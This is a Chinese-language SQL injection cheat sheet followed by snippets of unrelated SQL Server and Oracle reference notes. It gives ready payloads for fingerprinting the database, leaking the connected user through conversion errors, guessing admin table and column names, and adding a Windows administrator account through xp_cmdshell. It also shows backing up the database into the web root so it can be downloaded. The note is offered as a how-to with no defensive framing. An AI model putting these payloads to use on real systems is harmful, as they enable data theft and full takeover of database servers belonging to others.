sql注入
判断数据库类型
(select count(*) fromsysobjects)>0 //sql数据库
(select count(*) from msysobjects)>0 //access数据库
得到Sql用户名
user>0
Conversion failed when converting the nvarchar value 'dbo' to data type int.
重构SQL语句
整数型
(A) ID=49 ID=49 And [ 查询条件] ,即是生成语句:
Select * from 表名 where 字段=49 And [ 查询条件]
字符型
(B) Class= 连续剧
注入的参数为Class= 连续剧’ and [ 查询条件] and ‘’= ’ ,
(C)like ’% 关键字% ’
keyword= ’ and [ 查询条件] and ‘%25 ’= ’,
猜表名
And (Select Count(*) from Admin)>=0
猜长度
and (select top 1 len(username) from Admin)>0
新建用户名
exec master..xp_cmdshell "net user name password /add"--
master..xp_cmdshell "net localgroup administrators name /add"--
db_name()>0 前面有个类似的例子and user>0 ,作用是获取连接用户名,db_name() 是另一个系统变量,返回的是连接的数据库名。
backup database 数据库名 to disk= ’c:\inetpub\wwwroot\1.db ’;--
and (Select Top 1 name from sysobjects where xtype='U' )>0 前面说过,sysobjects 是SQLServer 的系统表,存储着所有的表名、视图、约束及其它对象,
相关文档:
簡體數據庫轉繁體數據庫的問題 拜托了
ALTER DATABASE DatabaseName SET SINGLE_USER WITH ROLLBACK IMMEDIATE
ALTER DATABASE DatabaseName COLLATE Chinese_Taiwan_Stroke_CI_AS
ALTER DATABASE DatabaseName SET MULTI_USER WITH ROLLBACK ......
一般用BCP在处理这个事情,但有时也需要一些特殊的处理,以下是生成表中的一些数据,带有where条件的选择生成数据,是我一个同事修改的,直接拿过来用了:
SET QUOTED_IDENTIFIER ON
GO
SET ANSI_NULLS ON
GO
Create Proc proc_insert_where (@tablename varchar(256),@where varchar(256 ......
4.数据类型转换函数
●隐式转换
赋值时可进行的隐式转换有
VARCHAR2或CHAR —〉NUMBER
VARCHAR2或CHAR —〉DATE
NUMBER —〉VARCHAR ......
sql isnull函数的使用
ISNULL
使用指定的替换值替换 NULL。
语法
ISNULL ( check_expression , replacement_value )
参数
check_expression
将被检查是否为 NULL的表达式。check_expression 可以是任何类型的。
replacement_value
在 check_expression 为 NULL时将返回的表达式。replacement_value 必须与 chec ......